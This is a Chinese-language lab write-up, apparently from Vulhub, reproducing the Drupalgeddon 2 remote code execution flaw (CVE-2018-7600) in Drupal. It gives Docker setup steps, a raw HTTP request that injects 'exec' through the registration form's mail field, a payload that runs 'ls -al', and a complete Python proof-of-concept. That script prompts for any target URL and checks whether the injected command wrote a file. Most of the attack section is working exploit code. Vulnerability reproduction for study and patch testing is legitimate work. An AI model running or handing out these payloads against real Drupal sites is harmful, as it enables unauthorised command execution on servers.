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92 lines
3.0 KiB
Markdown
92 lines
3.0 KiB
Markdown
# Drupal Drupalgeddon 2 远程代码执行漏洞 CVE-2018-7600
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## 漏洞描述
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Drupal 是一款用量庞大的CMS，其6/7/8版本的Form API中存在一处远程代码执行漏洞。相关分析如下：
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- https://research.checkpoint.com/uncovering-drupalgeddon-2/
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## 环境搭建
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Vulhub执行如下命令启动drupal 8.5.0的环境：
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```
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docker-compose up -d
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```
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环境启动后，访问`http://your-ip:8080/`将会看到drupal的安装页面，一路默认配置下一步安装。因为没有mysql环境，所以安装的时候可以选择sqlite数据库。
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安装方式参考CVE-2014-3704
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## 漏洞复现
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向安装完成的drupal发送如下数据包：
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```
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POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
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Host: your-ip:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 103
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form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
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```
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参考[a2u/CVE-2018-7600](https://github.com/a2u/CVE-2018-7600/blob/master/exploit.py)，成功写入文件hello.txt：
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可以执行命令，将结果输出到1.txt
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```
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payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo `ls -al` | tee 1.txt'}
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```
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查看1.txt文件内容，即`ls -al`命令执行结果
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## 漏洞POC
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```python
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#!/usr/bin/env python3
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import sys
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import requests
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print ('################################################################')
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print ('# Proof-Of-Concept for CVE-2018-7600')
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print ('# by Vitalii Rudnykh')
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print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
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print ('# https://github.com/a2u/CVE-2018-7600')
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print ('################################################################')
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print ('Provided only for educational or information purposes\n')
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target = input('Enter target url (example: https://domain.ltd/): ')
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# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
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# set verify = False if your proxy certificate is self signed
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# remember to set proxies both for http and https
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#
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# example:
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# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
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# verify = False
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proxies = {}
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verify = True
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url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
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payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
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r = requests.post(url, proxies=proxies, data=payload, verify=verify)
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check = requests.get(target + 'hello.txt', proxies=proxies, verify=verify)
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if check.status_code != 200:
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sys.exit("Not exploitable")
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print ('\nCheck: '+target+'hello.txt')
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```
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